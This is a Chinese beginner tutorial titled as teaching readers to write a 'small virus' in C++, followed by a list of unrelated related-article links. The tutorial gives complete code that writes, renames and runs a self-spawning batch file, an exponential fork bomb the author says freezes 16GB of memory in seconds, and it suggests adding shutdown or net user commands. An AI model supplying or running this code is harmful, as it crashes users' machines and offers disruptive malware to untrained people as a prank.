用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)
相信大家都玩过这样的一个批处理代码吧
:1
start cmd
goto 1
把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹
但是,作为一个病毒,这个简单恶搞代码有着致命缺陷
1.可以直接改后缀轻松识破,很难掩藏
2.杀伤力不足,可以手动“关闭全部窗口”轻松杀死
于是,我想了个简单方法来处理这两个问题
1.system函数
知周所众,C++中有一个很方便的函数就做system(),可以调用控制台命令
需要头文件stdlib.h
#include<bits/stdc++.h> // 其实万能头文件里包含了stdlib.h
#include<stdlib.h>//但是还是写一遍
using namespace std;
int main(){system(" ");
}
2.freopen
文件读写操作,可以用它生成一个out文件
freopen("11.out","w",stdout);
其中11.out是文件名,w的意思是写入,stdout是标准输出流,你cout的东西就会被输出到11.out中
然后再输入代码
cout << " ";
fclose关闭文件
fclose(stdout);
ren命令改变文件名
system("ren 11.out 11.bat");
然后,重点来了
2.核心
小病毒的核心就是使用C++生成一个bat文件(因为bat文件打开速度贼快,可以高速卡内存)然后里面写一个循环,并且不断自我调用(有点递归的感觉了lol)
cout << ":1\nstart 11.bat\ngoto 1"
(\n:换行)
相比开头的小代码,看上去有点多次一举是吧?
但是,这个内核生成窗口(弹窗轰炸)的速度是指数级增长的,因为它开启的文件会继续打开自己,同时它本身也在不断开启自己
本人实测,16gb的内存条几秒钟就可以卡掉
最后,上完整版代码
#include<bits/stdc++.h>
using namespace std;
int main(){freopen("11.out","w",stdout);cout << ":1 \n start 11.bat \n goto 1";fclose(stdout);system("ren 11.out 11.bat");system("start 11.bat");
}
学完这些后,你还可以自自行发挥批处理知识写一写其它的东西,什么shutdown啊netuser啊,这里不作赘述
后来我才知道可以直接文件读写进bat,但是不想改了
用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)相关推荐
- python写的篮球文字游戏_python制作一个简单的文字游戏——零基础学python 004
前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...
- 如何写一个脚本语言_零基础小白如何学会写文案?文案写作技巧之一:如何写一个吸引读者的文案开头...
我文笔不好怎样才能够写出优质的文案?很多人都有这个疑问,包括我自己在学习新媒体运营之前,这也是我最大的困惑.现在是内容为王的时代,你的文章质量决定了你的KPI. 后来我学习了文章的写作结构和技巧后,就 ...
- python制作一个简单的文字游戏——零基础学python 004
前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...
- 如何写一个简单的病毒程序
引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了.但是我现在学了入门才发现这门技术实际 上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无 ...
- java简单课程设计_!高分跪求帮忙写一个简单小程序的JAVA课程设计报告(内详!!)...
展开全部 连连看java源代码 import javax.swing.*; import java.awt.*; import java.awt.event.*; public class lianl ...
- python可以做机器人吗_零基础如何用Python写一个简单的WeChat机器人?(内附代码)...
(bing图片) python这两年热火朝天,依托其众多类库,基于python的应用层出不穷,也大大降低了非计算机专业人员的入门门槛,WeChat机器人自然不在话下!-- 聪明的瓦肯人 苦于有时候总是 ...
- c语言写一个简单的小游戏-推箱子
在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...
- 使用Qt写一个简单的五子棋单机小游戏
使用Qt写一个简单的五子棋单机小游戏 刚学,不够专业请勿喷,有不对的地方还请指出,我渴望进步!现在贴出这个游戏我原创的所有代码.希望可以帮到有需要的人. 游戏界面: 因为后面添加了.wav的音频文件, ...
- 一个简单的c 游戏编程语言,编程达人 c语言写一个简单的小游戏-推箱子
在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...
最新文章
- 软件开发项目云端All
- 全年营业额怎么计算_会计税法计算公式大全
- 放授权代码的php文件夹,自己的项目如果包含别人的开源代码,licence文件应放在哪里...
- 零基础实践深度学习之数学基础
- cad设计院常用字体_如何把CAD图纸坐标转换成现场坐标?
- java冒泡排序法对数组进行排序
- STL 中的容器们(三)
- py 的 第 12 天
- 洛谷 U5737 纸条
- 一般处理程序在VS2012中打开问题
- 电子工程师私藏的一个网站
- MxCAD云图DWG转PDF
- easyexcel 无模板写入_EasyExcel模板填充踩坑
- 数据产品经理真的比数据分析工资高吗?
- CLM陆面过程模式实践技术应用
- 那些雷得我们如此销魂的台词
- 俄罗斯方块游戏系统-c语言版
- 淘宝店铺链接获取seller id,拿到店铺所有商品接口,店铺所有商品接口,接口接入技术解决方案
- C语言错误:expected declaration or statement at end of input、编写函数求100万以内的素数
- 基于单片机的温湿度检测系统(电路+论文)